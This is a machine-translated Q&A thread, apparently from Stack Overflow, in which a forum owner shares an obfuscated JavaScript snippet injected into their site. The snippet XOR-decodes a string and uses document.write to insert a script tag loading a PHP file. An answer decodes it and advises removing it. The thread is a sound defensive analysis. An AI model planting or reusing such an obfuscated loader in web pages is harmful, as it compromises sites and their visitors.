JavaScript 编码？变种恩克里普西

Question

这个问题不太可能对任何 future 的访客有帮助；它只与一个较小的地理区域、一个特定的时间点或一个非常狭窄的情况相关，通常不适用于全世界的互联网受众。如需帮助使此问题更广泛适用， visit the help center 。

已关闭 11 年前。

有人正在使用一个奇怪的脚本来攻击我的论坛，我跟踪它并找到了 javascript，但它是“编码的”，有人可以帮助我吗？

这里是:

var enkripsi="'1Aqapkrv'02v
    {
    rg'1F'05vgzv-hctcqapkrv'05'02qpa'1F'05cqw,rjr'05'1G'1A-qapkrv'1G";
    teks="";
    teksasli="";
    var panjang;
    panjang=enkripsi.length;
    for(i=0;
    i<panjang;
    i++)
        {
        teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
    }
    teksasli=unescape(teks);
    document.write(teksasli);

Answer 1

它将以下标记插入到您的输出中:

<script type='text/javascript' src='***.php'></script>

只需在某些 JavaScript 解释器中运行代码，并将末尾的 document.write() 替换为 console.log() 之类的内容，您就可以看到输出.

我猜这是某种蠕虫，建议从系统中删除此代码和包含的文件 ***.php。另外检查一下，这是否是对您的代码的唯一修改!